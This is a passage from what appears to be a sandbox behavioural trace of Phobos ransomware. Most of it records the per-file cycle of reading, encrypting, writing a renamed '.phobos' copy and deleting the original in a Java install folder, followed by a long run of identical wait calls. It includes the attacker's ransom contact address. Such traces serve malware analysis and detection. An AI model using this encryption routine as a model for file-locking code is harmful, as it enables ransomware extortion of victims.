0x2d8 [0182.632] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=653888) returned 1 [0182.632] CloseHandle (hObject=0x2d8) returned 1 [0182.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0182.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.633] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.633] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.633] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1b50) returned 1 [0182.633] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.633] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x9fa40, lpOverlapped=0x0) returned 1 [0182.731] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x9fa50, dwBufLen=0x9fa50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x9fa50) returned 1 [0182.732] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x9fa50, lpOverlapped=0x0) returned 1 [0182.744] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1a10) returned 1 [0182.744] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.744] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.744] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0182.744] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.744] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0182.744] CloseHandle (hObject=0x2d8) returned 1 [0182.744] CloseHandle (hObject=0x2e8) returned 1 [0182.744] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0182.753] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.753] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=963232) returned 1 [0182.753] CloseHandle (hObject=0x2e8) returned 1 [0182.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0182.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.754] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.754] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.755] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1950) returned 1 [0182.755] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.755] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xeb2a0, lpOverlapped=0x0) returned 1 [0182.834] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xeb2b0, dwBufLen=0xeb2b0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xeb2b0) returned 1 [0182.836] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xeb2b0, lpOverlapped=0x0) returned 1 [0182.850] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1450) returned 1 [0182.850] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.850] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.850] CryptDestroyKey (hKey=0x1d1450) returned 1 [0182.850] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.851] CryptDestroyKey (hKey=0x1d1950) returned 1 [0182.851] CloseHandle (hObject=0x2e8) returned 1 [0182.851] CloseHandle (hObject=0x2d8) returned 1 [0182.851] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0182.859] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.860] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=60480) returned 1 [0182.860] CloseHandle (hObject=0x2d8) returned 1 [0182.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0182.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.860] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.860] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.861] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1550) returned 1 [0182.861] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.861] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xec40, lpOverlapped=0x0) returned 1 [0182.952] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xec50, dwBufLen=0xec50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xec50) returned 1 [0182.952] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xec50, lpOverlapped=0x0) returned 1 [0182.954] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1610) returned 1 [0182.954] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.954] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x30, dwBufLen=0x30 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x30) returned 1 [0182.954] CryptDestroyKey (hKey=0x1d1610) returned 1 [0182.954] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xe2, lpOverlapped=0x0) returned 1 [0182.954] CryptDestroyKey (hKey=0x1d1550) returned 1 [0182.954] CloseHandle (hObject=0x2d8) returned 1 [0182.954] CloseHandle (hObject=0x2e8) returned 1 [0182.954] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0182.956] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.956] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19008) returned 1 [0182.956] CloseHandle (hObject=0x2e8) returned 1 [0182.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0182.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.956] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.957] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.957] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1890) returned 1 [0182.957] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.957] ReadFile (hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0) Thread: id = 115 os_tid = 0x640 [0162.168] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a30090 [0162.169] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a40098 [0162.169] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f4f68 [0162.169] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x110102) returned 0x30c1020 [0162.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x50) returned 0x6f4f98 [0162.173] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f9b8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1fa20 | out: phKey=0x2d1fa20*=0x1b9288) returned 1 [0162.173] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0x2d1fa08, dwFlags=0x0) returned 1 [0162.173] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4f98, pdwDataLen=0x2d1f9d4 | out: pbData=0x6f4f98, pdwDataLen=0x2d1f9d4) returned 1 [0162.173] CryptDestroyKey (hKey=0x1b9288) returned 1 [0162.173] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0162.173] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0162.173] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1fa6c | out: OldValue=0x2d1fa6c*=0x0) returned 1 [0162.173] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f98 | out: hHeap=0x6f0000) returned 1 [0162.173] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.173] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.173] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.173] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.173] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.174] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.175] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.176] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.177] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.178] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.179] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.180] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.182] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject 